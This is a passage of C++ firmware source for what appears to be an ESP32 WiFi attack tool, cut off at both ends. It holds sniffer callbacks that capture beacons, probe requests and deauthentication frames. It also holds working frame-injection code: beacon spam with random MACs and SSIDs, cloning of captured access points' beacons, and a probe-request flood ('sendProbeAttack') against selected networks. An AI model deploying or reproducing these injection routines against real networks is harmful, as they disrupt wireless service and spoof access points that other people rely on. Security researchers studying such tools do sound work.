  1290. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1291. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1292. int len = snifferPacket->rx_ctrl.sig_len;
  1293. String display_string = "";
  1294. String essid = "";
  1295. String bssid = "";
  1296. if (type == WIFI_PKT_MGMT)
  1297. {
  1298. len -= 4;
  1299. int fctl = ntohs(frameControl->fctl);
  1300. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1301. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1302. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1303. #ifdef HAS_SCREEN
  1304. int buf = display_obj.display_buffer->size();
  1305. #else
  1306. int buf = 0;
  1307. #endif
  1308. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1309. {
  1310. char addr[] = "00:00:00:00:00:00";
  1311. getMAC(addr, snifferPacket->payload, 10);
  1312. bool in_list = false;
  1313. bool mac_match = true;
  1314. for (int i = 0; i < access_points->size(); i++) {
  1315. mac_match = true;
  1316. //Serial.print("Checking ");
  1317. //Serial.print(addr);
  1318. //Serial.println(" against " + (String)access_points->get(i).essid);
  1319. for (int x = 0; x < 6; x++) {
  1320. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1321. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1322. mac_match = false;
  1323. //Serial.println("MACs do not match");
  1324. break;
  1325. }
  1326. }
  1327. if (mac_match) {
  1328. in_list = true;
  1329. break;
  1330. }
  1331. }
  1332. if (!in_list) {
  1333. delay(random(0, 10));
  1334. Serial.print("RSSI: ");
  1335. Serial.print(snifferPacket->rx_ctrl.rssi);
  1336. Serial.print(" Ch: ");
  1337. Serial.print(snifferPacket->rx_ctrl.channel);
  1338. Serial.print(" BSSID: ");
  1339. Serial.print(addr);
  1340. display_string.concat(addr);
  1341. Serial.print(" ESSID: ");
  1342. display_string.concat(" -> ");
  1343. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1344. {
  1345. Serial.print((char)snifferPacket->payload[i + 38]);
  1346. display_string.concat((char)snifferPacket->payload[i + 38]);
  1347. essid.concat((char)snifferPacket->payload[i + 38]);
  1348. }
  1349. bssid.concat(addr);
  1350. int temp_len = display_string.length();
  1351. for (int i = 0; i < 40 - temp_len; i++)
  1352. {
  1353. display_string.concat(" ");
  1354. }
  1355. Serial.print(" ");
  1356. #ifdef HAS_SCREEN
  1357. if (display_obj.display_buffer->size() == 0)
  1358. {
  1359. display_obj.loading = true;
  1360. display_obj.display_buffer->add(display_string);
  1361. display_obj.loading = false;
  1362. }
  1363. #endif
  1364. if (essid == "") {
  1365. essid = bssid;
  1366. Serial.print(essid + " ");
  1367. }
  1368. //LinkedList<char> beacon = new LinkedList<char>();
  1369. /*AccessPoint ap = {essid,
  1370. snifferPacket->rx_ctrl.channel,
  1371. {snifferPacket->payload[10],
  1372. snifferPacket->payload[11],
  1373. snifferPacket->payload[12],
  1374. snifferPacket->payload[13],
  1375. snifferPacket->payload[14],
  1376. snifferPacket->payload[15]},
  1377. false,
  1378. NULL};*/
  1379. AccessPoint ap;
  1380. ap.essid = essid;
  1381. ap.channel = snifferPacket->rx_ctrl.channel;
  1382. ap.bssid[0] = snifferPacket->payload[10];
  1383. ap.bssid[1] = snifferPacket->payload[11];
  1384. ap.bssid[2] = snifferPacket->payload[12];
  1385. ap.bssid[3] = snifferPacket->payload[13];
  1386. ap.bssid[4] = snifferPacket->payload[14];
  1387. ap.bssid[5] = snifferPacket->payload[15];
  1388. ap.selected = false;
  1389. ap.beacon = new LinkedList<char>();
  1390. //for (int i = 0; i < len; i++) {
  1391. // ap.beacon->add(snifferPacket->payload[i]);
  1392. //}
  1393. ap.beacon->add(snifferPacket->payload[34]);
  1394. ap.beacon->add(snifferPacket->payload[35]);
  1395. Serial.print("\nBeacon: ");
  1396. for (int i = 0; i < ap.beacon->size(); i++) {
  1397. char hexCar[4];
  1398. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1399. Serial.print(hexCar);
  1400. if ((i + 1) % 16 == 0)
  1401. Serial.print("\n");
  1402. else
  1403. Serial.print(" ");
  1404. }
  1405. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1406. access_points->add(ap);
  1407. Serial.print(access_points->size());
  1408. Serial.println();
  1409. if (save_packet)
  1410. sd_obj.addPacket(snifferPacket->payload, len);
  1411. }
  1412. }
  1413. }
  1414. }
  1415. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1416. {
  1417. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1418. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1419. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1420. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1421. int len = snifferPacket->rx_ctrl.sig_len;
  1422. String display_string = "";
  1423. String essid = "";
  1424. String bssid = "";
  1425. if (type == WIFI_PKT_MGMT)
  1426. {
  1427. len -= 4;
  1428. int fctl = ntohs(frameControl->fctl);
  1429. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1430. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1431. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1432. #ifdef HAS_SCREEN
  1433. int buf = display_obj.display_buffer->size();
  1434. #else
  1435. int buf = 0;
  1436. #endif
  1437. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1438. {
  1439. char addr[] = "00:00:00:00:00:00";
  1440. getMAC(addr, snifferPacket->payload, 10);
  1441. bool in_list = false;
  1442. bool mac_match = true;
  1443. for (int i = 0; i < access_points->size(); i++) {
  1444. mac_match = true;
  1445. //Serial.print("Checking ");
  1446. //Serial.print(addr);
  1447. //Serial.println(" against " + (String)access_points->get(i).essid);
  1448. for (int x = 0; x < 6; x++) {
  1449. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1450. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1451. mac_match = false;
  1452. //Serial.println("MACs do not match");
  1453. break;
  1454. }
  1455. }
  1456. if (mac_match) {
  1457. in_list = true;
  1458. break;
  1459. }
  1460. }
  1461. if (!in_list) {
  1462. delay(random(0, 10));
  1463. Serial.print("RSSI: ");
  1464. Serial.print(snifferPacket->rx_ctrl.rssi);
  1465. Serial.print(" Ch: ");
  1466. Serial.print(snifferPacket->rx_ctrl.channel);
  1467. Serial.print(" BSSID: ");
  1468. Serial.print(addr);
  1469. display_string.concat(addr);
  1470. Serial.print(" ESSID: ");
  1471. display_string.concat(" -> ");
  1472. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1473. {
  1474. Serial.print((char)snifferPacket->payload[i + 38]);
  1475. display_string.concat((char)snifferPacket->payload[i + 38]);
  1476. essid.concat((char)snifferPacket->payload[i + 38]);
  1477. }
  1478. bssid.concat(addr);
  1479. int temp_len = display_string.length();
  1480. for (int i = 0; i < 40 - temp_len; i++)
  1481. {
  1482. display_string.concat(" ");
  1483. }
  1484. Serial.print(" ");
  1485. #ifdef HAS_SCREEN
  1486. if (display_obj.display_buffer->size() == 0)
  1487. {
  1488. display_obj.loading = true;
  1489. display_obj.display_buffer->add(display_string);
  1490. display_obj.loading = false;
  1491. }
  1492. #endif
  1493. if (essid == "") {
  1494. essid = bssid;
  1495. Serial.print(essid + " ");
  1496. }
  1497. AccessPoint ap = {essid,
  1498. snifferPacket->rx_ctrl.channel,
  1499. {snifferPacket->payload[10],
  1500. snifferPacket->payload[11],
  1501. snifferPacket->payload[12],
  1502. snifferPacket->payload[13],
  1503. snifferPacket->payload[14],
  1504. snifferPacket->payload[15]},
  1505. false,
  1506. NULL,
  1507. snifferPacket->rx_ctrl.rssi};
  1508. access_points->add(ap);
  1509. Serial.print(access_points->size());
  1510. Serial.println();
  1511. if (save_packet)
  1512. sd_obj.addPacket(snifferPacket->payload, len);
  1513. }
  1514. }
  1515. }
  1516. }
  1517. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1518. {
  1519. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1520. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1521. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1522. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1523. int len = snifferPacket->rx_ctrl.sig_len;
  1524. String display_string = "";
  1525. if (type == WIFI_PKT_MGMT)
  1526. {
  1527. len -= 4;
  1528. int fctl = ntohs(frameControl->fctl);
  1529. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1530. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1531. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1532. #ifdef HAS_SCREEN
  1533. int buf = display_obj.display_buffer->size();
  1534. #else
  1535. int buf = 0;
  1536. #endif
  1537. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1538. {
  1539. delay(random(0, 10));
  1540. Serial.print("RSSI: ");
  1541. Serial.print(snifferPacket->rx_ctrl.rssi);
  1542. Serial.print(" Ch: ");
  1543. Serial.print(snifferPacket->rx_ctrl.channel);
  1544. Serial.print(" BSSID: ");
  1545. char addr[] = "00:00:00:00:00:00";
  1546. getMAC(addr, snifferPacket->payload, 10);
  1547. Serial.print(addr);
  1548. display_string.concat(addr);
  1549. Serial.print(" ESSID: ");
  1550. display_string.concat(" -> ");
  1551. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1552. {
  1553. Serial.print((char)snifferPacket->payload[i + 38]);
  1554. display_string.concat((char)snifferPacket->payload[i + 38]);
  1555. }
  1556. int temp_len = display_string.length();
  1557. #ifdef HAS_SCREEN
  1558. for (int i = 0; i < 40 - temp_len; i++)
  1559. {
  1560. display_string.concat(" ");
  1561. }
  1562. Serial.print(" ");
  1563. if (display_obj.display_buffer->size() == 0)
  1564. {
  1565. display_obj.loading = true;
  1566. display_obj.display_buffer->add(display_string);
  1567. display_obj.loading = false;
  1568. }
  1569. #endif
  1570. Serial.println();
  1571. if (save_packet)
  1572. sd_obj.addPacket(snifferPacket->payload, len);
  1573. }
  1574. }
  1575. }
  1576. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1577. {
  1578. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1579. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1580. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1581. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1582. int len = snifferPacket->rx_ctrl.sig_len;
  1583. String display_string = "";
  1584. if (type == WIFI_PKT_MGMT)
  1585. {
  1586. len -= 4;
  1587. int fctl = ntohs(frameControl->fctl);
  1588. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1589. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1590. }
  1591. Serial.print("RSSI: ");
  1592. Serial.print(snifferPacket->rx_ctrl.rssi);
  1593. Serial.print(" Ch: ");
  1594. Serial.print(snifferPacket->rx_ctrl.channel);
  1595. Serial.print(" BSSID: ");
  1596. char addr[] = "00:00:00:00:00:00";
  1597. getMAC(addr, snifferPacket->payload, 10);
  1598. Serial.print(addr);
  1599. display_string.concat(text_table4[0]);
  1600. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1601. display_string.concat(" ");
  1602. display_string.concat(addr);
  1603. int temp_len = display_string.length();
  1604. #ifdef HAS_SCREEN
  1605. for (int i = 0; i < 40 - temp_len; i++)
  1606. {
  1607. display_string.concat(" ");
  1608. }
  1609. Serial.print(" ");
  1610. if (display_obj.display_buffer->size() == 0)
  1611. {
  1612. display_obj.loading = true;
  1613. display_obj.display_buffer->add(display_string);
  1614. display_obj.loading = false;
  1615. }
  1616. #endif
  1617. Serial.println();
  1618. if (save_packet)
  1619. sd_obj.addPacket(snifferPacket->payload, len);
  1620. }
  1621. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1622. {
  1623. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1624. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1625. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1626. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1627. int len = snifferPacket->rx_ctrl.sig_len;
  1628. String display_string = "";
  1629. if (type == WIFI_PKT_MGMT)
  1630. {
  1631. len -= 4;
  1632. int fctl = ntohs(frameControl->fctl);
  1633. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1634. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1635. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1636. #ifdef HAS_SCREEN
  1637. int buf = display_obj.display_buffer->size();
  1638. #else
  1639. int buf = 0;
  1640. #endif
  1641. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1642. {
  1643. delay(random(0, 10));
  1644. Serial.print("RSSI: ");
  1645. Serial.print(snifferPacket->rx_ctrl.rssi);
  1646. Serial.print(" Ch: ");
  1647. Serial.print(snifferPacket->rx_ctrl.channel);
  1648. Serial.print(" BSSID: ");
  1649. char addr[] = "00:00:00:00:00:00";
  1650. char dst_addr[] = "00:00:00:00:00:00";
  1651. getMAC(addr, snifferPacket->payload, 10);
  1652. getMAC(dst_addr, snifferPacket->payload, 4);
  1653. Serial.print(addr);
  1654. Serial.print(" -> ");
  1655. Serial.print(dst_addr);
  1656. display_string.concat(text_table4[0]);
  1657. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1658. display_string.concat(" ");
  1659. display_string.concat(addr);
  1660. #ifdef HAS_SCREEN
  1661. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1662. {
  1663. display_string.concat(" ");
  1664. }
  1665. Serial.print(" ");
  1666. if (display_obj.display_buffer->size() == 0)
  1667. {
  1668. display_obj.loading = true;
  1669. display_obj.display_buffer->add(display_string);
  1670. display_obj.loading = false;
  1671. }
  1672. #endif
  1673. Serial.println();
  1674. if (save_packet)
  1675. sd_obj.addPacket(snifferPacket->payload, len);
  1676. }
  1677. }
  1678. }
  1679. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1680. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1681. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1682. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1683. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1684. int len = snifferPacket->rx_ctrl.sig_len;
  1685. String display_string = "";
  1686. if (type == WIFI_PKT_MGMT)
  1687. {
  1688. len -= 4;
  1689. int fctl = ntohs(frameControl->fctl);
  1690. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1691. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1692. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1693. #ifdef HAS_SCREEN
  1694. int buf = display_obj.display_buffer->size();
  1695. #else
  1696. int buf = 0;
  1697. #endif
  1698. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1699. {
  1700. delay(random(0, 10));
  1701. Serial.print("RSSI: ");
  1702. Serial.print(snifferPacket->rx_ctrl.rssi);
  1703. Serial.print(" Ch: ");
  1704. Serial.print(snifferPacket->rx_ctrl.channel);
  1705. Serial.print(" Client: ");
  1706. char addr[] = "00:00:00:00:00:00";
  1707. getMAC(addr, snifferPacket->payload, 10);
  1708. Serial.print(addr);
  1709. display_string.concat(addr);
  1710. Serial.print(" Requesting: ");
  1711. display_string.concat(" -> ");
  1712. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1713. {
  1714. Serial.print((char)snifferPacket->payload[26 + i]);
  1715. display_string.concat((char)snifferPacket->payload[26 + i]);
  1716. }
  1717. // Print spaces because of the rotating lines of the hardware scroll.
  1718. // The same characters print from previous lines so I just overwrite them
  1719. // with spaces.
  1720. #ifdef HAS_SCREEN
  1721. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1722. {
  1723. display_string.concat(" ");
  1724. }
  1725. if (display_obj.display_buffer->size() == 0)
  1726. {
  1727. //while (display_obj.printing)
  1728. // delay(1);
  1729. display_obj.loading = true;
  1730. display_obj.display_buffer->add(display_string);
  1731. display_obj.loading = false;
  1732. }
  1733. #endif
  1734. Serial.println();
  1735. if (save_packet)
  1736. sd_obj.addPacket(snifferPacket->payload, len);
  1737. }
  1738. }
  1739. }
  1740. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1741. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1742. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1743. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1744. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1745. int len = snifferPacket->rx_ctrl.sig_len;
  1746. String display_string = "";
  1747. String essid = "";
  1748. bool found = false;
  1749. if (type == WIFI_PKT_MGMT)
  1750. {
  1751. len -= 4;
  1752. int fctl = ntohs(frameControl->fctl);
  1753. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1754. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1755. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1756. #ifdef HAS_SCREEN
  1757. int buf = display_obj.display_buffer->size();
  1758. #else
  1759. int buf = 0;
  1760. #endif
  1761. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1762. {
  1763. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1764. {
  1765. essid.concat((char)snifferPacket->payload[26 + i]);
  1766. }
  1767. for (int i = 0; i < ssids->size(); i++) {
  1768. if (ssids->get(i).essid == essid) {
  1769. Serial.println("Found a sheep");
  1770. found = true;
  1771. break;
  1772. }
  1773. }
  1774. if (!found)
  1775. return;
  1776. delay(random(0, 10));
  1777. Serial.print("RSSI: ");
  1778. Serial.print(snifferPacket->rx_ctrl.rssi);
  1779. Serial.print(" Ch: ");
  1780. Serial.print(snifferPacket->rx_ctrl.channel);
  1781. Serial.print(" Client: ");
  1782. char addr[] = "00:00:00:00:00:00";
  1783. getMAC(addr, snifferPacket->payload, 10);
  1784. Serial.print(addr);
  1785. display_string.concat(addr);
  1786. Serial.print(" Requesting: ");
  1787. display_string.concat(" -> ");
  1788. // ESSID
  1789. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1790. {
  1791. Serial.print((char)snifferPacket->payload[26 + i]);
  1792. display_string.concat((char)snifferPacket->payload[26 + i]);
  1793. }
  1794. // Print spaces because of the rotating lines of the hardware scroll.
  1795. // The same characters print from previous lines so I just overwrite them
  1796. // with spaces.
  1797. #ifdef HAS_SCREEN
  1798. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1799. {
  1800. display_string.concat(" ");
  1801. }
  1802. if (display_obj.display_buffer->size() == 0)
  1803. {
  1804. display_obj.loading = true;
  1805. display_obj.display_buffer->add(display_string);
  1806. display_obj.loading = false;
  1807. }
  1808. #endif
  1809. Serial.println();
  1810. if (save_packet)
  1811. sd_obj.addPacket(snifferPacket->payload, len);
  1812. }
  1813. }
  1814. }
  1815. /*
  1816. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1817. set_channel = random(1,12);
  1818. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1819. delay(1);
  1820. // Randomize SRC MAC
  1821. packet[10] = packet[16] = custom_ssid.bssid[0];
  1822. packet[11] = packet[17] = custom_ssid.bssid[1];
  1823. packet[12] = packet[18] = custom_ssid.bssid[2];
  1824. packet[13] = packet[19] = custom_ssid.bssid[3];
  1825. packet[14] = packet[20] = custom_ssid.bssid[4];
  1826. packet[15] = packet[21] = custom_ssid.bssid[5];
  1827. char ESSID[custom_ssid.essid.length() + 1] = {};
  1828. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1829. }*/
  1830. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1831. set_channel = random(1,12);
  1832. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1833. delay(1);
  1834. if (custom_ssid.beacon->size() == 0)
  1835. return;
  1836. // Randomize SRC MAC
  1837. // Randomize SRC MAC
  1838. packet[10] = packet[16] = random(256);
  1839. packet[11] = packet[17] = random(256);
  1840. packet[12] = packet[18] = random(256);
  1841. packet[13] = packet[19] = random(256);
  1842. packet[14] = packet[20] = random(256);
  1843. packet[15] = packet[21] = random(256);
  1844. char ESSID[custom_ssid.essid.length() + 1] = {};
  1845. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1846. int realLen = strlen(ESSID);
  1847. int ssidLen = random(realLen, 33);
  1848. int numSpace = ssidLen - realLen;
  1849. //int rand_len = sizeof(rand_reg);
  1850. int fullLen = ssidLen;
  1851. packet[37] = fullLen;
  1852. // Insert my tag
  1853. for(int i = 0; i < realLen; i++)
  1854. packet[38 + i] = ESSID[i];
  1855. for(int i = 0; i < numSpace; i++)
  1856. packet[38 + realLen + i] = 0x20;
  1857. /////////////////////////////
  1858. packet[50 + fullLen] = set_channel;
  1859. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1860. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1861. // Add everything that goes after the SSID
  1862. //for(int i = 0; i < 12; i++)
  1863. // packet[38 + fullLen + i] = postSSID[i];
  1864. packet[34] = custom_ssid.beacon->get(0);
  1865. packet[35] = custom_ssid.beacon->get(1);
  1866. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1867. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1868. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1869. packets_sent = packets_sent + 3;
  1870. }
  1871. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1872. set_channel = random(1,12);
  1873. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1874. delay(1);
  1875. // Randomize SRC MAC
  1876. packet[10] = packet[16] = custom_ssid.bssid[0];
  1877. packet[11] = packet[17] = custom_ssid.bssid[1];
  1878. packet[12] = packet[18] = custom_ssid.bssid[2];
  1879. packet[13] = packet[19] = custom_ssid.bssid[3];
  1880. packet[14] = packet[20] = custom_ssid.bssid[4];
  1881. packet[15] = packet[21] = custom_ssid.bssid[5];
  1882. char ESSID[custom_ssid.essid.length() + 1] = {};
  1883. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1884. int ssidLen = strlen(ESSID);
  1885. //int rand_len = sizeof(rand_reg);
  1886. int fullLen = ssidLen;
  1887. packet[37] = fullLen;
  1888. // Insert my tag
  1889. for(int i = 0; i < ssidLen; i++)
  1890. packet[38 + i] = ESSID[i];
  1891. /////////////////////////////
  1892. packet[50 + fullLen] = set_channel;
  1893. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1894. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1895. // Add everything that goes after the SSID
  1896. for(int i = 0; i < 12; i++)
  1897. packet[38 + fullLen + i] = postSSID[i];
  1898. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1899. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1900. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1901. packets_sent = packets_sent + 3;
  1902. }
  1903. // Function to send beacons with random ESSID length
  1904. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1905. set_channel = random(1,12);
  1906. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1907. delay(1);
  1908. // Randomize SRC MAC
  1909. packet[10] = packet[16] = random(256);
  1910. packet[11] = packet[17] = random(256);
  1911. packet[12] = packet[18] = random(256);
  1912. packet[13] = packet[19] = random(256);
  1913. packet[14] = packet[20] = random(256);
  1914. packet[15] = packet[21] = random(256);
  1915. int ssidLen = strlen(ESSID);
  1916. //int rand_len = sizeof(rand_reg);
  1917. int fullLen = ssidLen;
  1918. packet[37] = fullLen;
  1919. // Insert my tag
  1920. for(int i = 0; i < ssidLen; i++)
  1921. packet[38 + i] = ESSID[i];
  1922. /////////////////////////////
  1923. packet[50 + fullLen] = set_channel;
  1924. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1925. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1926. // Add everything that goes after the SSID
  1927. for(int i = 0; i < 12; i++)
  1928. packet[38 + fullLen + i] = postSSID[i];
  1929. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1930. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1931. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1932. packets_sent = packets_sent + 3;
  1933. }
  1934. // Function for sending crafted beacon frames
  1935. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1936. set_channel = random(1,12);
  1937. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1938. delay(1);
  1939. // Randomize SRC MAC
  1940. packet[10] = packet[16] = random(256);
  1941. packet[11] = packet[17] = random(256);
  1942. packet[12] = packet[18] = random(256);
  1943. packet[13] = packet[19] = random(256);
  1944. packet[14] = packet[20] = random(256);
  1945. packet[15] = packet[21] = random(256);
  1946. packet[37] = 6;
  1947. // Randomize SSID (Fixed size 6. Lazy right?)
  1948. packet[38] = alfa[random(65)];
  1949. packet[39] = alfa[random(65)];
  1950. packet[40] = alfa[random(65)];
  1951. packet[41] = alfa[random(65)];
  1952. packet[42] = alfa[random(65)];
  1953. packet[43] = alfa[random(65)];
  1954. packet[56] = set_channel;
  1955. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1956. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1957. // Add everything that goes after the SSID
  1958. for(int i = 0; i < 12; i++)
  1959. packet[38 + 6 + i] = postSSID[i];
  1960. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1961. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1962. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1963. packets_sent = packets_sent + 3;
  1964. }
  1965. // Function to send probe flood to all "active" access points
  1966. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1967. // Itterate through all access points in list
  1968. for (int i = 0; i < access_points->size(); i++) {
  1969. // Check if active
  1970. if (access_points->get(i).selected) {
  1971. this->set_channel = access_points->get(i).channel;
  1972. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1973. delay(1);
  1974. // Build packet
  1975. // Randomize SRC MAC
  1976. prob_req_packet[10] = random(256);
  1977. prob_req_packet[11] = random(256);
  1978. prob_req_packet[12] = random(256);
  1979. prob_req_packet[13] = random(256);
  1980. prob_req_packet[14] = random(256);
  1981. prob_req_packet[15] = random(256);
  1982. // Set SSID length
  1983. int ssidLen = access_points->get(i).essid.length();
  1984. //int rand_len = sizeof(rand_reg);
  1985. int fullLen = ssidLen;
  1986. prob_req_packet[25] = fullLen;
  1987. // Insert ESSID
  1988. char buf[access_points->get(i).essid.length() + 1] = {};
  1989. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1990. for(int i = 0; i < ssidLen; i++)
  1991. prob_req_packet[26 + i] = buf[i];
  1992. /*
  1993. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1994. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1995. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1996. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1997. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1998. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1999. 0x00, 0x00
  2000. */
  2001. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
